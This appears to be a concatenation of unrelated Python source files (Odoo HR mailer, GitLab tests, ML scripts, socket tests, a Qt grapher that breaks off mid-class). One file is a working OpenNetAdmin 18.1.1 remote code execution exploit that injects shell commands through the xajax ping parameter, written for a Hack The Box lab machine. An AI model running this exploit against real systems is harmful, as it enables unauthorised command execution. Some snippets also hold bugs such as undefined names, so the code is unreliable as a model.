# -*- coding: utf-8 -*-
import datetime
from openerp import models, fields, api
from openerp.exceptions import Warning
from openerp.tools.translate import _
import logging

class hr_contract(models.Model):
    _inherit = "hr.contract"

    no_renewal = fields.Boolean('No Renewal', default=False)

    @api.multi
    def get_email_to_send(self):
        """
        Get list emails of users in group HR officer.
        """
        group = self.env.ref('base.group_hr_user')
        mail_list = ''
        for user in group.users:
            mail_list += user.email and user.email + ', ' or ''
        return mail_list

    @api.multi
    def _get_contract_link(self):
        """
        Build a link to the contract.
        """
        param_obj = self.env['ir.config_parameter']
        base_url = param_obj.get_param('web.base.url', default='')
        # Example link: http://0.0.0.0:8069/?#id=4
        #    &view_type=form&model=hr.contract&action=...
        act_window = self.env.ref('hr_contract.action_hr_contract')
        link = base_url + '/?#id=%s&view_type=form&model=hr.contract&action=%s'\
            % (self.id, act_window.id)
        return link

    @api.model
    def _get_expired_contracts_by_department(self, date):
        """
        Get the contract which will be expired before inputed date
            without the next contract created
            without the No Renewal checkbox set
        """
        self._cr.execute("""
            SELECT con.id, emp.name_related as employee,
            con.name, con.date_end,
            dept.name as department, job.name as job
            FROM hr_contract con
                JOIN hr_employee emp ON con.employee_id = emp.id
                LEFT JOIN hr_department dept ON emp.department_id = dept.id
                LEFT JOIN hr_job job ON con.job_id = job.id
            WHERE con.date_end <= '%s'
                AND con.no_renewal = False
                AND NOT EXISTS(
                    SELECT 1 FROM hr_contract
                    WHERE date_start > con.date_end
                    AND employee_id = con.employee_id
                )
            ORDER BY date_end
           """ % date)
        res = self._cr.dictfetchall()
        expired_contracts_department = {}
        for line in res:
            department = line['department'] or 'Undefined'
            if department not in expired_contracts_department:
                expired_contracts_department[department] = []
            expired_contracts_department[department].append(line)
        return expired_contracts_department

    @api.model
    def send_email_contract_end_next_x_days(self):
        """
        Send email weekly to remind the contracts expired next 30 days
        """
        context = dict(self._context)
        param_obj = self.env['ir.config_parameter']
        days_param = param_obj.get_param('contract_expiring_days', default='30')
        try:
            next_x_date = (datetime.date.today()
                            + datetime.timedelta(int(days_param))).strftime('%Y-%m-%d')
        except Exception as exc:
            logging.error(exc)
            raise Warning(_('Wrong value defined in parameter expiring_days.'))

        email_data = self._get_expired_contracts_by_department(next_x_date)
        if not email_data:
            return True
        context.update({'email_data': email_data})
        template = self.env.ref(
            'trobz_hr_mail_contract_end.email_template_contract_end_next_x_days'
        )
        if not template:
            return True
        template.with_context(context).send_mail(
            email_data.values()[0][0]['id'], True
        )
        return True

    @api.model
    def send_email_contract_end(self):
        """
        Send email daily to remind the contracts expired
        """
        context = dict(self._context)
        date = datetime.date.today().strftime('%Y-%m-%d')

        email_data = self._get_expired_contracts_by_department(date)
        if not email_data:
            return True
        context.update({'email_data': email_data})
        template = self.env.ref(
            'trobz_hr_mail_contract_end.email_template_contract_end'
        )
        if not template:
            return True
        first_contract_id = email_data.values()[0][0]['id']
        template.with_context(context).send_mail(
            first_contract_id, True
        )
        return True

    @api.multi
    def get_email_information(self):
        """
        Get content of renewal contracts email
        """
        email_data = self._context.get('email_data', False)
        department = email_data.keys()
        str_email_info = ''
        for department in email_data:
            str_email_info += """
 Department %s
            """ % department
            str_email_info += '
'
            for contract in email_data[department]:
                link = self._get_contract_link()
                str_email_info += '
%s - %s - %s
'\
                    % (contract['date_end'], link,
                       contract['name'], contract['job'] or 'Undefined Job')
            str_email_info += '
'

            str_email_info += '
'
        return str_email_info

    @api.model
    def get_contract_expiring_days(self):
        """
        """
        param_obj = self.env['ir.config_parameter']
        return param_obj.get_param('contract_expiring_days', default='30')

hr_contract()


import time

import pytest

from gitlabform.gitlabform import GitLabForm
from gitlabform.gitlabform.test import (
    create_group,
    create_project_in_group,
    create_readme_in_project,
    get_gitlab,
    GROUP_NAME,
)

PROJECT_NAME = "archive_project"
GROUP_AND_PROJECT_NAME = GROUP_NAME + "/" + PROJECT_NAME

@pytest.fixture(scope="function")
def gitlab(request):
    gl = get_gitlab()

    create_group(GROUP_NAME)
    create_project_in_group(GROUP_NAME, PROJECT_NAME)
    create_readme_in_project(GROUP_AND_PROJECT_NAME)  # in main branch

    def fin():
        gl.delete_project(GROUP_AND_PROJECT_NAME)
        # TODO: find some smarter way to avoid 400 when trying to create project while it is still being deleted
        time.sleep(15)

    request.addfinalizer(fin)
    return gl  # provide fixture value

archive_project = """
gitlab:
  api_version: 4

project_settings:
  gitlabform_tests_group/archive_project:
    project:
      archive: true
"""

unarchive_project = """
gitlab:
  api_version: 4

project_settings:
  gitlabform_tests_group/archive_project:
    project:
      archive: false
"""

edit_archived_project = """
gitlab:
  api_version: 4

# the project has to be configured as archived
# for other configs for it to be ignored
project_settings:
  gitlabform_tests_group/archive_project:
    project:
      archive: true

group_settings:
  gitlabform_tests_group:
    files:
      README.md:
        overwrite: true
        branches:
          - main
        content: |
          Some other content that the default one
"""

class TestArchiveProject:
    def test__archive_project(self, gitlab):
        gf = GitLabForm(
            config_string=archive_project,
            project_or_group=GROUP_AND_PROJECT_NAME,
        )
        gf.main()

        project = gitlab.get_project(GROUP_AND_PROJECT_NAME)

        assert project["archived"] is True

    def test__unarchive_project(self, gitlab):
        gf = GitLabForm(
            config_string=archive_project,
            project_or_group=GROUP_AND_PROJECT_NAME,
        )
        gf.main()

        project = gitlab.get_project(GROUP_AND_PROJECT_NAME)

        assert project["archived"] is True

        gf = GitLabForm(
            config_string=unarchive_project,
            project_or_group=GROUP_AND_PROJECT_NAME,
        )
        gf.main()

        project = gitlab.get_project(GROUP_AND_PROJECT_NAME)

        assert project["archived"] is False

    def test__dont_edit_archived_project(self, gitlab):
        gf = GitLabForm(
            config_string=archive_project,
            project_or_group=GROUP_AND_PROJECT_NAME,
        )
        gf.main()

        project = gitlab.get_project(GROUP_AND_PROJECT_NAME)

        assert project["archived"] is True

        gf = GitLabForm(
            config_string=edit_archived_project,
            project_or_group=GROUP_NAME,
        )
        gf.main()

        # if we tried to edit an archived project, then we will get an exception here


from time import sleep
from typing import List

from utils.PageObject import PageObject

PRODUCTS_LINK_SELECTOR = ".product .title > h2 > a"

class WallpapersPage(PageObject):
    page_url = "https://avi-home.co.il/product-category/wallpapers/"

    def scroll_down(self):
        self.driver.execute_script("window.scrollTo(0,document.body.scrollHeight);")

    def load_all_products(self, time_out=15, max_products=None):
        sleeping_time = 0
        products_len = 0
        while True:
            new_products_len = len(self.getElements(PRODUCTS_LINK_SELECTOR))
            if new_products_len > products_len:
                self.scroll_down()
                products_len = new_products_len
                sleeping_time = 0

            else:
                sleep(0.1)
                sleeping_time += 0.1

            if sleeping_time >= time_out:
                return self.products_list

            if max_products and new_products_len > max_products:
                return self.products_list

    @property
    def products_list(self) -> List[str]:
        links = []
        for product in self.getElements(PRODUCTS_LINK_SELECTOR):
            links.append(product.get_attribute("href"))

        return links


# -*- coding: utf-8 -*-
import time

from fastapi import FastAPI,Request

from .routers import setu
from .db import on_shutdown, on_start

app = FastAPI()

app.include_router(setu.router)

app.on_event("startup")(on_start)
app.on_event("shutdown")(on_shutdown)

@app.middleware("http")
async def add_process_time_header(request: Request, call_next):
    start_time = time.time()
    response = await call_next(request)
    process_time = time.time() - start_time
    response.headers["X-Process-Time"] = str(process_time)
    return response


# read the dataset
# divide it train test splet  60 to 40
# classfication using svm
# kernel linear and kerneal rbf
# acuuracy and presetion and f1 measure

import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.svm import SVC

df = pd.read_csv('./classficationData/classifier.csv')  # dataframe
X = df.drop('outcome', 1)
y = df['outcome']

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=10)
svc_model = SVC(C=.1, kernel='linear', gamma=1)
svc_model.fit(X_train, y_train)

prediction = svc_model.predict(X_test)

from sklearn.metrics import accuracy_score
acc = accuracy_score(y_test, prediction)
print("accuracy ", acc)

# precision
from sklearn.metrics import precision_score

pre = precision_score(y_test, prediction)
print("precision ", pre)

from sklearn.metrics import f1_score
f1 = f1_score(y_test, prediction)
print("f1-measure  ", f1)

print("--------------------kernel rbf-------------------------------")

svc_model = SVC(kernel='rbf')
svc_model.fit(X_train, y_train)

from sklearn.metrics import accuracy_score
acc = accuracy_score(y_test, prediction)
print("accuracy ", acc)

# precision
from sklearn.metrics import precision_score

pre = precision_score(y_test, prediction)
print("precision ", pre)

from sklearn.metrics import f1_score
f1 = f1_score(y_test, prediction)
print("f1-measure  ", f1)


from stl import STL, Signal

time_begin = 0  # global begin time
signal = Signal(py_dict={"0": {"content": {"x": 1, "y": 2}},
                         "1": {"content": {"x": 2, "y": 1}}})

#stl_spec = STL("G[0, 1](0 < x < 1)")
stl_eval = stl_spec.eval(time_begin, signal)

print()
#print("original STL expr: ")
#print(stl_spec)

print()
weakened_stl = stl_spec.weaken("ap-range", 2, 3)
#print(weakened_stl_spec_ap_range_1)
# G[0, 1](0-2 < x < 1+3)

# G[0, 1](-2 < x < 4)

print(weakened_stl.eval(time_begin, signal))


import socket
import struct
import time

import pytest

from brain_computer_interface.utils import Connection

_DATA = b'Hello, world!'
_HOST = '127.0.0.1'
_PORT = 1234

@pytest.fixture
def server():
    server = socket.socket()
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', _PORT))
    server.listen(1000)
    try:
        time.sleep(0.1)
        yield server
    finally:
        server.close()

@pytest.fixture
def connection(server):
    sock = socket.socket()
    sock.connect((_HOST, _PORT))
    return Connection(sock)

def test_repr(connection: Connection):
    _, other_port = connection._socket.getsockname()
    assert connection.__repr__() == \
        f'<Connection from {_HOST}:{other_port} to {_HOST}:{_PORT}>'

def test_close(connection: Connection):
    assert not connection._socket._closed
    connection.close()
    assert connection._socket._closed

def test_send(server):
    connection = Connection.connect(_HOST, _PORT)
    with connection:
        client, _ = server.accept()
        connection.send(_DATA)
    chunks = []
    while True:
        chunk = client.recv(4096)
        if not chunk:
            break
        chunks.append(chunk)
    assert b''.join(chunks) == _DATA

def test_send_length_follow_by_value(server):
    connection = Connection.connect(_HOST, _PORT)
    with connection:
        client, _ = server.accept()
        connection.send_length_follow_by_value(_DATA)
    chunks = []
    while True:
        chunk = client.recv(4096)
        if not chunk:
            break
        chunks.append(chunk)
    assert b''.join(chunks)[Connection.length_size:] == _DATA

def test_receive(server):
    with Connection.connect(_HOST, _PORT) as connection:
        client, _ = server.accept()
        client.sendall(_DATA)
        assert connection.receive(len(_DATA)) == _DATA

def test_receive_length_follow_by_value(server):
    with Connection.connect(_HOST, _PORT) as connection:
        client, _ = server.accept()
        client.sendall(struct.pack(Connection.length_format, len(_DATA)))
        client.sendall(_DATA)
        assert connection.receive_length_follow_by_value() == _DATA

def test_incomplete_data(server, connection: Connection):
    with connection:
        client, _ = server.accept()
        client.close()
        with pytest.raises(RuntimeError, match='Incomplete data'):
            connection.receive(1)


# needed imports
from matplotlib import pyplot as plt
from scipy.cluster.hierarchy import dendrogram, linkage
import scipy.cluster.hierarchy as sch
import numpy as np

# This determines the clustering method. Check https://docs.scipy.org/doc/scipy/reference/generated/scipy.cluster.hierarchy.linkage.html#scipy.cluster.hierarchy.linkage for details
method = 'ward'  # average, ward, single...

class cluster():
    def __init__(self, cluster, projections):
        self.cluster = cluster
        self.bundles = []
        self.n = 0

        self.summation = []
        for factor in range(len(projections)):
            self.summation.append([])
            for projection in range(len(projections[factor])):
                self.summation[factor].append(0)

    def add_bundle(self, bundle):
        self.bundles.append(bundle)
        self.n += 1

        # adds 1 to one projection - specified in bundle - for each factor
        for i in range(len(self.summation)):
            self.summation[i][bundle[i]-1] += 1

    def get_mixture(self):
        mixture = []
        for factor in range(len(self.summation)):
            mixture.append([])
            for projection in range(len(self.summation[factor])):
                mixture[factor].append(
                    self.summation[factor][projection]/self.n)
        return mixture

def create_distance_matrix(bundles):
    # Need to convert the class projection bundle in a list of bundles
    bundles_list = []
    for object in bundles:
        bundles_list.append(object.bundle)

    bundles = np.array(bundles_list)
    # Hamming metric: 0 if same, 1 if different
    d = sch.distance.pdist(bundles, 'hamming')
    # generate the linkage matrix
    return d

def create_linkage_matrix(distances):
    Z = linkage(distances, method)
    return Z

def fancy_dendrogram(*args, **kwargs):
    max_d = kwargs.pop('max_d', None)
    if max_d and 'color_threshold' not in kwargs:
        kwargs['color_threshold'] = max_d
    annotate_above = kwargs.pop('annotate_above', 0)

    ddata = dendrogram(*args, **kwargs)

    if not kwargs.get('no_plot', False):
        plt.title('Hierarchical Clustering Dendrogram (truncated)')
        plt.xlabel('sample index or (cluster size)')
        plt.ylabel('distance')
        for i, d, c in zip(ddata['icoord'], ddata['dcoord'], ddata['color_list']):
            x = 0.5 * sum(i[1:3])
            y = d[1]
            if y > annotate_above:
                plt.plot(x, y, 'o', c=c)
                plt.annotate("%.3g" % y, (x, y), xytext=(0, -5),
                             textcoords='offset points',
                             va='top', ha='center')
        if max_d:
            plt.axhline(y=max_d, c='k')
    return ddata

def show_dendrogram(Z):
    fancy_dendrogram(Z, truncate_mode='lastp',
                     p=12,
                     leaf_rotation=90.,
                     leaf_font_size=12.,
                     show_contracted=True,
                     annotate_above=10,  # useful in small plots so annotations don't overlap
                     )
    plt.show()

def show_elbow(Z):
    # showing the elobow diagram
    last = Z[-10:, 2]
    last_rev = last[::-1]
    idxs = np.arange(1, len(last) + 1)
    plt.plot(idxs, last_rev)

    acceleration = np.diff(last, 2)  # 2nd derivative of the distances
    acceleration_rev = acceleration[::-1]
    plt.plot(idxs[:-2] + 1, acceleration_rev)
    plt.show()
    # if idx 0 is the max of this we want 2 clusters
    k = acceleration_rev.argmax() + 2
    print("Recommend clusters from elbow diagram:", k)
    return k

def get_clusters(Z, k):
    return sch.fcluster(Z, k, criterion='maxclust')


from iota.crypto.types import Seed
from iota.crypto.addresses import AddressGenerator
from iota import Iota
from datetime import datetime
import requests, json, zmq

class Node:

    def __init__(self, seed=None):
        if seed != None:
            self.seed = seed
        else:
            self.seed = str(Seed.random())

    def __repr__(self):
        return self.seed

    # Connects to IRI
    def api(self):
        api = Iota(url(), self.seed)
        return api

    @staticmethod
    def url():
        # Grabs available IOTA nodes urls
        r = requests.get('https://api.iota-nodes.net/').json()

        # Filters nodes that are at 100% health and are on the latest version of IRI
        nodes = [r[node]['hostname'] for node in range(len(r))\
            if (r[node]['health'] == 5)\
                and (r[node]['version'] == '1.8.5-RELEASE')\
                    and (r[node]['hasZMQ'] == 1)]

        # Returns first node url in list
        return nodes[0]

    # Gets 1st index address from designated seed
    def address(self):
        addresses = AddressGenerator(seed=self.seed, checksum=False, security_level=3)
        main_address = addresses.get_addresses(0,1)
        main = str(main_address[0])
        return main

    @staticmethod
    def gen_seed():
        return Seed.random()

# Create a RTC to the Tangle and listen for the ricipient address
class Tangle:

    def __init__(self, connect, address=None):
        config = Node()
        self.node = config.url()
        self.connect_status = connect
        self.rec_address = config.address()

    def connect(self):
        if self.connect_status == False:
            pass
        else:
            recipient = bytes(self.rec_address, 'utf-8')
            context = zmq.Context()
            socket = context.socket(zmq.SUB)
            # Prepares socket to istens to 1st indexed address
            # of seed for tx information
            zmq_node = f'tcp://zmq.{self.node}'
            socket.setsockopt(zmq.SUBSCRIBE, recipient)
            # Initates connections
            socket.connect(zmq_node)
            print(socket)
            connected = True
            while connected:
                address, data = socket.recv().decode().split(' ', 1)

                if address:

                    hash_data = dict.fromkeys([
                        tx_hash,
                        address,
                        value,
                        obs_tag,
                        ts,
                        index,
                        last_index,
                        bundle_hash,
                        trunk_hash,
                        branch_hash,
                        received_ts,
                        tag,
                    ])

                    for i, j in data.items():
                        hash_data[i] = j

                    if hash_data:
                        print(hash_data)
                        connected = False
                        return connected

test = Tangle(True, None)
test.connect()


from django.urls import path
from . import views
from .views import Register

urlpatterns = [
    path('cart/', views.view_cart, name='cart'),
    path('add_to_cart/<int:product_id>/', views.add_to_cart, name='add_to_cart'),
    path('remove_from_cart/<int:cart_item_id>/', views.remove_from_cart, name='remove_from_cart'),
    path('<int:product_id>/', views.product_detail, name='product_detail'),
    path('update_cart_item/', views.update_cart_item_quantity, name='update_cart_item_quantity'),
    path('payment_result/', views.payment, name='payment_result'),
    path('checkout/', views.checkout, name='checkout'),
    path('order_success/', views.order_success, name='order_success'),
    path('register/', Register.as_view(), name='register'),
    path('products/', views.product_list, name='product_list'),
    path('', views.home, name='home'),
    path('products/<int:category_id>/', views.product_list, name='product_list_by_category'),

]


from sklearn.decomposition import PCA, TruncatedSVD, SparsePCA
from sklearn.feature_extraction.text import CountVectorizer
from mpl_toolkits import mplot3d
from matplotlib import pyplot as plt

import d2v_model
import iterate_docs
import numpy as np
from itertools import accumulate

def get_pca(docs):
  pca = PCA(n_components=3)
  d2vm = d2v_model.get_d2v_model()
  ret = pca.fit_transform([d2vm.infer_vector(doc.split(' ')) for doc in docs])
  return ret, list(accumulate(pca.explained_variance_ratio_))

def get_tsvd(docs):
  tsvd = TruncatedSVD(n_components=3)
  cts = CountVectorizer().fit_transform(docs)
  ret = tsvd.fit_transform(cts)
  return ret, list(accumulate(tsvd.explained_variance_ratio_))

def plot_points(dim_red_func, docs):
  points, freq_ = dim_red_func(docs)
  print('total variance preserved: ' + str(freq_))

  fig = plt.figure()
  ax = plt.axes(projection ='3d')
  dim_tuples = [(min(points.T[i])-1, max(points.T[i])+1) for i in range(3)]

  ax.set_xlim(*dim_tuples[0])
  ax.set_ylim(*dim_tuples[1])
  ax.set_zlim(*dim_tuples[2])

  print(dim_tuples)
  ax.scatter3D(points.T[0], points.T[1], points.T[2], cmap ='black')
  plt.show()

print(get_pca(iterate_docs.get_docs()[0:40])[1])
print(get_tsvd(iterate_docs.get_docs()[0:40])[1])


#!/usr/bin/python3
# a simple script, meant to get the 1st initial shell on openAdmin machine from HTB
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Origin exploit @mattpascoe
# python version @m3dsec
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1

import requests
import json
import re
import sys

if len(sys.argv) != 2:
	print("USAGE : python3 exploit.py URL")
	#print("USAGE : python3 exploit.py http://10.10.10.171/ona/")
	exit()

url = sys.argv[1]
while True:
	try:
		userCmd = input('$ ')
		headers = {"Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded"}
		data1 = "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo 'BEGIN';{};echo 'END'&xajaxargs[]=ping".format(userCmd)
		r = requests.post(url, data=data1, headers=headers)
		result = re.search(r"BEGIN(.*)END", r.text, re.S)
		print(result.group(1))
	except KeyboardInterrupt:
		exit(0)


import numpy as np
import cv2

'''include if you want some more information about the needed memory'''
#from memory_profiler import profile

#@profile
def NC():
    '''Put file name here'''
    input_name = "demo.png"

    pic = cv2.imread(input_name,1)
    gray = cv2.imread(input_name,0)
    height, width, _ = pic.shape

    '''for less extreme values set it lower
    value should be between 0 and 1'''
    bmp_percent = 0.5
    nrm_percent = 0.7

    '''blur on or off?'''
    blur_switch = 1

    '''Fast and rough Ambient Occlusion?'''
    thresh = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,cv2.THRESH_BINARY,31,21)
    cv2.imwrite(input_name[:len(input_name)-4]+"_notfinished_AO.png",thresh)

    '''the next part is for blurring image a bit,
    but leaving the edged sharp. '''
    if blur_switch == 1:
        not_thresh = cv2.bitwise_not(thresh)
        th1 = cv2.GaussianBlur(gray, (11,11), 0)
        th1 = cv2.bitwise_and(th1, th1, mask = thresh)
        th2 = cv2.bitwise_and(gray, gray, mask = not_thresh)
        bump = cv2.add(th1, th2)

    else:
        bump = gray

    '''reduces contrast'''
    bump = (np.ones((height,width),dtype = np.uint16)*200*(1-bmp_percent) + bump*bmp_percent)

    '''bmp pic can be modified for bump or roughness'''
    cv2.imwrite(input_name[:len(input_name)-4]+"_notfinished_bmp.png",bump)

    '''starting edge detection with sobel horizontal and vertical'''
    sobel_x = cv2.Sobel(bump, cv2.CV_16S,1,0, ksize =-1)
    sobel_y = cv2.Sobel(bump, cv2.CV_16S,0,1, ksize =-1)

    '''Using absolute units if there is an (horizental or vertical) edge, and 0 if there is not'''
    abs_x = cv2.convertScaleAbs(sobel_x) - np.ones((height,width),dtype = np.uint8)*255
    abs_y = cv2.convertScaleAbs(sobel_y) - np.ones((height,width),dtype = np.uint8)*255

    '''Converting into a value between -1 and 1 to be ready to convert into normalmap values'''
    pixel_x = (abs_x*(2/255)-1)
    pixel_y = (abs_y*(2/255)-1)

    '''Array of ones (fastens the calculation)'''
    ones = np.ones((height,width),dtype = np.uint8)

    '''1 color for each pixel (3 dimensional array per pixel)
    x/y value is 1 z value is pixel_x/pixel_y
    this leads to a color change only if the is an horizontal/vertical edge'''
    dx = np.zeros((height,width,3),dtype = np.float64)
    dx[:,:,0] = ones
    dx[:,:,2] = pixel_x
    dy = np.zeros((height,width,3),dtype = np.float64)
    dy[:,:,1] = ones
    dy[:,:,2] = pixel_y

    '''norm values are the lenght of each array(treated like vector's)'''
    dx_norm = np.sqrt(dx[:,:,0]**2+dx[:,:,1]**2+dx[:,:,2]**2)**-1
    dy_norm = np.sqrt(dy[:,:,0]**2+dy[:,:,1]**2+dy[:,:,2]**2)**-1

    '''normalizing the arrays (treated like vector's)'''
    dx[:,:,0] = np.multiply(dx[:,:,0],dx_norm)
    dx[:,:,1] = np.multiply(dx[:,:,1],dx_norm)
    dx[:,:,2] = np.multiply(dx[:,:,2],dx_norm)

    dy[:,:,0] = np.multiply(dy[:,:,0],dy_norm)
    dy[:,:,1] = np.multiply(dy[:,:,1],dy_norm)
    dy[:,:,2] = np.multiply(dy[:,:,2],dy_norm)

    '''cross product of x and y is the final normalmap(with extreme values)'''
    dcross = np.zeros((height,width,3),dtype = np.float)

    dcross[:,:,2] = (np.multiply(dx[:,:,1],dy[:,:,2]) - np.multiply(dx[:,:,2],dy[:,:,1]) + ones)*(256/2)
    dcross[:,:,1] = (np.multiply(dx[:,:,2],dy[:,:,0]) - np.multiply(dx[:,:,0],dy[:,:,2]) + ones)*(256/2)
    dcross[:,:,0] = (np.multiply(dx[:,:,0],dy[:,:,1]) - np.multiply(dx[:,:,1],dy[:,:,0]) + ones)*(128/2) + ones * 128

    '''calc normals to Normalmap
     z is blue between 128 and 256
     x is red between 0 and 256
     y is green between 0 and 256'''

    blue = np.array([255,127,127])

    '''flatens normal'''
    dcross = (dcross*nrm_percent + blue*(1-nrm_percent))
    color_matrix = dcross.astype(np.uint8)

    cv2.imwrite(input_name[:len(input_name)-4]+"_nrm.png",color_matrix)
    print ("ready")
    return ("ready")

if __name__ == '__main__':
    NC()
    end = input("end")


"""
Created on Jul 24, 2018

@author: ionut
"""

import logging
import datetime
from reach.base import Reach

class ReachGPS(Reach):
    """
    GPS client implementation for Reach
    """

    def __init__(self, host, port, queue):
        Reach.__init__(self, host, port, queue, message_delimiter="\n$GNRMC")
        self.conn_buf = 4096
        self.tcp_buf_len = 64000

    @staticmethod
    def parse_coordinate(coord, hemi):
        """
        Parse ddmm.mmmm coordinate into dd.ddddd format
        :param coord: ddmm.mmmm coordinate data
        :param hemi: hemisphere data E,W,N or S
        :returns dd.ddddd coordinate
        """
        dot_position = coord.find(".")
        degrees = coord[:dot_position-2]
        minutes = coord[dot_position-2:]
        degrees = float(degrees) + float(minutes) / 60.0
        if hemi in ["S", "W"]:
            degrees = degrees * -1
        return degrees

    def parse_data(self, data):
        sentences = data.split("\n")
        position = {}
        for sentence in sentences:
            if sentence.startswith("$GNRMC"):
                parts = sentence.split(",")
                if parts[2] != "A":
                    logging.warning("invalid GNRMC data: %s", sentence)
                    continue
                position["ts"] = datetime.datetime.strptime(parts[9]+parts[1], "%d%m%y%H%M%S.%f")
                position["ts"] = position["ts"].replace(tzinfo=datetime.timezone.utc)
                position["lat"] = self.parse_coordinate(parts[3], parts[4])
                position["lng"] = self.parse_coordinate(parts[5], parts[6])
                position["speed"] = float(parts[7]) * 1.852  # knots to km/h
                # position["heading"] = float(parts[8]) #0-360
            elif sentence.startswith("$GNGST"):
                parts = sentence.split(",")
                position["acc"] = max(float(parts[6]), float(parts[7]))  # meters
            elif sentence.startswith("$GNGGA"):
                parts = sentence.split(",")
                position["alt"] = float(parts[9]) + float(parts[11])  # meters
                position["fix"] = float(parts[6])
        return position


#-------------------------------------------------------------------
#
# Written by Phillip Grabovsky 03/20/2022
# This code is distributed under the GNU LGPL license.
#
# This code graphs the output produced by the Fortran code
# in the Stieltjes project. Fortran writes text files containing numbers
# This grapher reads these files and builds the plots. See README files
# for this project.
#
# ------------------------------------------------------------------

import sys
import csv
import numpy as np
import PySide2
import PySide2.QtWidgets as Qt
import PySide2.QtGui as Gui
from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg, NavigationToolbar2QT as NavigationToolbar
from matplotlib.gridspec import GridSpec
from matplotlib.figure import Figure

#Same Curve should be set to true if the input data lies on the same curve as the
#extrapolation data. This is only needed in Nyquist mode, it is true always in
#Voigt mode regardless the value below.
SameCurve = True

class MplCanvas(FigureCanvasQTAgg):
    def __init__(self, parent, mode, status, dpi=100):
        if status:
            self.initializeNormally(parent, mode, dpi=100)
        else:
            self.disableCaprinis(parent, mode, dpi=100)
        super(MplCanvas, self).__init__(self.fig)

    #initialize normally with caprinis.
    def initializeNormally(self, parent, mode, dpi=100):
        self.dataLabels = []
        self.lw = 1
        self.fig = Figure(dpi=dpi, constrained_layout=True)
        gs = GridSpec(2, 2, width_ratios=[3,2], figure=self.fig) #2x2 grid, more space alotted for left column.
        self.topCapriniAxes = self.fig.add_subplot(gs[0,1]) #top caprini is top left
        self.bottomCapriniAxes = self.fig.add_subplot(gs[1,1]) #bottom caprini is bottom left
        self.axisDict = {"TC":self.topCapriniAxes,
                        "BC":self.bottomCapriniAxes}
        if(mode == "Voigt"):
            self.topVoigtAxes = self.fig.add_subplot(gs[0,0])
            self.bottomVoigtAxes = self.fig.add_subplot(gs[1,0])
            self.axisDict["TV"] = self.topVoigtAxes
            self.axisDict["BV"] = self.bottomVoigtAxes
            self.setPlotInfo(self.topVoigtAxes, "Real Part", "Freq/Hz", "Z Real/Ohm")
            self.setPlotInfo(self.bottomVoigtAxes, "Imaginary Part", "Freq/Hz", "Z Imag/Ohm)")
            self.setPlotInfo(self.topCapriniAxes,"Caprini Function", "Freq/Hz", "")
            self.setPlotInfo(self.bottomCapriniAxes,"Zeros of the Caprini Function", "Freq/Hz", "")
        elif(mode == "Nyquist"):
            self.nyquistAxes = self.fig.add_subplot(gs[:,0]) #nyquist takes up whole left column
            self.axisDict["N"] = self.nyquistAxes
            self.setPlotInfo(self.nyquistAxes, "Nyquist Plot", "Re", "Im")
            self.setPlotInfo(self.topCapriniAxes,"Caprini Function", "t/S", "")
            self.setPlotInfo(self.bottomCapriniAxes,"Zeros of the Caprini Function", "t/S", "")

    #initialize without caprinis because they shouldn't be shown.
    def disableCaprinis(self, parent, mode, dpi=100):
        self.dataLabels = []
        self.lw = 1
        self.axisDict = {}
        self.fig = Figure(dpi=dpi, constrained_layout=True)
        if(mode == "Voigt"):
            gs = GridSpec(2, 1, figure=self.fig)
            self.topVoigtAxes = self.fig.add_subplot(gs[0,0])
            self.bottomVoigtAxes = self.fig.add_subplot(gs[1,0])
            self.axisDict["TV"] = self.topVoigtAxes
            self.axisDict["BV"] = self.bottomVoigtAxes
            self.setPlotInfo(self.topVoigtAxes, "Real Part", "Freq/Hz", "Z Real/Ohm")
            self.setPlotInfo(self.bottomVoigtAxes, "Imaginary Part", "Freq/Hz", "Z Imag/Ohm)")
        elif(mode == "Nyquist"):
            self.nyquistAxes = self.fig.add_subplot(111) #nyquist takes up whole left column
            self.axisDict["N"] = self.nyquistAxes
            self.setPlotInfo(self.nyquistAxes, "Nyquist Plot", "Re", "Im")

    def setGraphScale(self, axes, xMin, xMax, yMin, yMax):
        self.axisDict[axes].set_xlim(xMin, xMax)
        self.axisDict[axes].set_ylim(yMin, yMax)

    def drawSemiLogX(self, axes, x, y, dataLabel, curveColor):
        if not (dataLabel in self.dataLabels):
            self.dataLabels.append(dataLabel)
            self.axisDict[axes].semilogx(x,y, label=dataLabel, color=curveColor, linewidth=self.lw)
        else:
            self.axisDict[axes].semilogx(x,y,color=curveColor,linewidth=self.lw)
        if(axes == "TV" or axes == "N"):
            self.axisDict[axes].legend()

    def drawSemiLogXDots(self, axes, x, y, dataLabel, curveColor):
        if not (dataLabel in self.dataLabels):
            self.dataLabels.append(dataLabel)
            self.axisDict[axes].semilogx(x,y, '.',label=dataLabel, color=curveColor, linewidth=self.lw)
        else:
            self.axisDict[axes].semilogx(x,y,'.',color=curveColor,linewidth=self.lw)
        if(axes == "TV" or axes == "N"):
            self.axisDict[axes].legend()

    def drawLinLin(self, axes, x, y, dataLabel, curveColor):
        if not (dataLabel in self.dataLabels):
            self.dataLabels.append(dataLabel)
            self.axisDict[axes].plot(x,y, label=dataLabel, color=curveColor,linewidth=self.lw)
        else:
            self.axisDict[axes].plot(x,y, color = curveColor,linewidth=self.lw)
        if(axes == "TV" or axes == "N"):
            self.axisDict[axes].legend()

    def drawLinLinDots(self, axes, x, y, dataLabel, curveColor):
        if not (dataLabel in self.dataLabels):
            self.dataLabels.append(dataLabel)
            self.axisDict[axes].plot(x,y, '.',label=dataLabel, color=curveColor,linewidth=self.lw)
        else:
            self.axisDict[axes].plot(x,y, '.',color = curveColor,linewidth=self.lw)
        if(axes == "TV" or axes == "N"):
            self.axisDict[axes].legend()

    def setPlotInfo(self, axes, title, xTitle, yTitle):
        axes.set_title(title)
        axes.set_xlabel(xTitle)
        axes.set_ylabel(yTitle)

class StieltjesGraphWindow(Qt.QDialog):
    def __init__(self, sameCurveArg):
        super().__init__()#set up Qt
        self.topLevelLayout = Qt.QHBoxLayout()
